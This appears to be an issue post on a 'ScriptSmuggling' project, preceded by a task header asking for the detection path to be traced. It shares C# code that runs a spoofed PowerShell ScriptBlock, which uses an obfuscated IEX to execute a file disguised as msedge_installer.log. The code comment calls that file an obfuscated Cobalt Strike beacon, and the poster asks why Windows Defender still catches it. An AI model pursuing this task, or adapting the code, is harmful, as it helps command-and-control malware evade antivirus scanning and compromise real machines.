Still be detected by wdfdr...

No repository files or tests are named. Start by reproducing the supplied C# sample with Windows Defender, then trace how the generated ScriptBlock and executableAst are handled; done means identifying the detection path and recording a confirmed resolution or the remaining limitation.

A very nice anti-detection idea, however my sample still can be detected by Windows Defender, here is the demo code:

...
namespace ScriptSmuggling
{
    public class Program
    {
        public static void Main()
        {
            // the msedge_installer.log is an obfuscated cobaltstrike beacon file (.ps1). it can be execute by iex
            string script = @". ($pShOmE[4]+$PsHoMe[34]+'X') (cat C:\Windows\Temp\msedge_installer.log)";
            ScriptBlock sb = BuildSpoofedBlock(script);
            // Setup PowerShell runspace
            using (Runspace runSpace = RunspaceFactory.CreateRunspace())
            {
                runSpace.Open();
                using (PowerShell ps = PowerShell.Create())
                {
                    ps.Runspace = runSpace;




                    ps.AddCommand("Invoke-Command")
                      .AddParameter("ScriptBlock", sb);

                    Collection<PSObject> results = ps.Invoke();
                    foreach (PSObject result in results)
                    {
                        Console.WriteLine(result);
                    }

                    // Display any errors from the error stream
                    foreach (ErrorRecord error in ps.Streams.Error)
                    {
                        Console.WriteLine("ERROR: " + error);
                    }
                }
            }
        }



        public static ScriptBlock BuildSpoofedBlock(string content)
        {
            ...
        }
    }
}

Maybe the executableAst is still be check by wdfdr?